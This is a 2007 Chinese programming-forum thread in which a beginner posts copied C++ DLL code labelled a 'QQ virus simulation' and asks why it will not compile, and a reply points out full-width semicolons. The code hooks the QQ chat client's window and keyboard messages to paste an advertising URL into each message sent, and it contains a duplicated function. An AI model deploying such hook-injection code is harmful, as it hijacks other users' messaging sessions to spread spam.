| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 550 人关注过本帖
标题:求助一个动态链接的问题
只看楼主 加入收藏
*明华锐达*
Rank: 1
等 级:新手上路
帖 子:26
专家分:0
注 册:2007-2-7
收藏
 问题点数:0 回复次数:1 
求助一个动态链接的问题

我照一贴子抄的代码,但不能编译,不小得错在哪,请大家帮忙看看
// QQ病毒模拟.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"

TCHAR g_str[] = "欢迎来我的小站坐坐:http://dev.yesky.com";
HWND g_hRich=NULL;
HHOOK g_hProc=NULL;
HHOOK g_hKey=NULL;
HMODULE g_hInstDLL=NULL;
void PasteText(HWND hRich) // 函数功能:向文本框中粘贴尾巴
{
 HGLOBAL hMem;
 LPTSTR pStr;

 hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));  // 分配内存空间
 pStr = GlobalLock(hMem);
 lstrcpy(pStr, g_str);
 GlobalUnlock(hMem);
 OpenClipboard(NULL);
 EmptyClipboard();

 SetClipboardData(CF_TEXT, hMem);  // 设置剪贴板文本
 CloseClipboard();

 GlobalFree(hMem);  // 释放内存空间

 SendMessage(hRich, WM_PASTE, 0, 0);  // 粘贴文本
}
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
 CWPSTRUCT *p = (CWPSTRUCT *)lParam;

 if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)  // 捕获“发送”按钮
   PasteText(g_hRich);
 return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
 // 捕获热键消息
 if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
  PasteText(g_hRich);
 return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
// 挂接钩子
BOOL WINAPI SetHook(HWND hQQ)
{
 BOOL bRet = FALSE;
 if (hQQ != NULL)
 {
  DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
  // 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
  g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
  if (g_hRich == NULL)
   return FALSE;
  // 挂接钩子
  g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
  g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
  bRet = (g_hProc != NULL) && (g_hKey != NULL);
 }
 else
 {
  // 卸载钩子
  bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
  g_hProc = NULL;
  g_hKey = NULL;
  g_hRich = NULL;
 }
 return bRet;
}

// 挂接钩子
BOOL WINAPI SetHook(HWND hQQ)
{
 BOOL bRet = FALSE;
 if (hQQ != NULL)
 {
  DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
  // 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
  g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
  if (g_hRich == NULL)
   return FALSE;
  // 挂接钩子
  g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
  g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
  bRet = (g_hProc != NULL) && (g_hKey != NULL);
 }
 else
 {
  // 卸载钩子
  bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
  g_hProc = NULL;
  g_hKey = NULL;
  g_hRich = NULL;
 }
 return bRet;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
g_hInstDLL=hModule;
return TRUE;
}

--------------------Configuration: QQ病毒模拟 - Win32 Debug--------------------
Compiling...
QQ病毒模拟.cpp
F:\my vc soucecode\QQ病毒模拟\QQ病毒模拟.cpp(7) : error C2018: unknown character '0xa3'
F:\my vc soucecode\QQ病毒模拟\QQ病毒模拟.cpp(7) : error C2018: unknown character '0xbb'
F:\my vc soucecode\QQ病毒模拟\QQ病毒模拟.cpp(8) : error C2146: syntax error : missing ';' before identifier 'HHOOK'
F:\my vc soucecode\QQ病毒模拟\QQ病毒模拟.cpp(8) : fatal error C1004: unexpected end of file found
Error executing cl.exe.

QQ病毒模拟.dll - 4 error(s), 0 warning(s)

搜索更多相关主题的帖子: 动态 链接 NULL dev 
2007-05-17 21:07
wfpb
Rank: 6Rank: 6
等 级:贵宾
威 望:29
帖 子:2188
专家分:0
注 册:2006-4-2
收藏
得分:0 
HWND g_hRich=NULL;
HHOOK g_hProc=NULL;
HHOOK g_hKey=NULL;
分号改成英语分号';'

[glow=255,red,2]wfpb的部落格[/glow] 学习成为生活的重要组成部分!
2007-05-19 17:19
快速回复:求助一个动态链接的问题
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.017164 second(s), 9 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved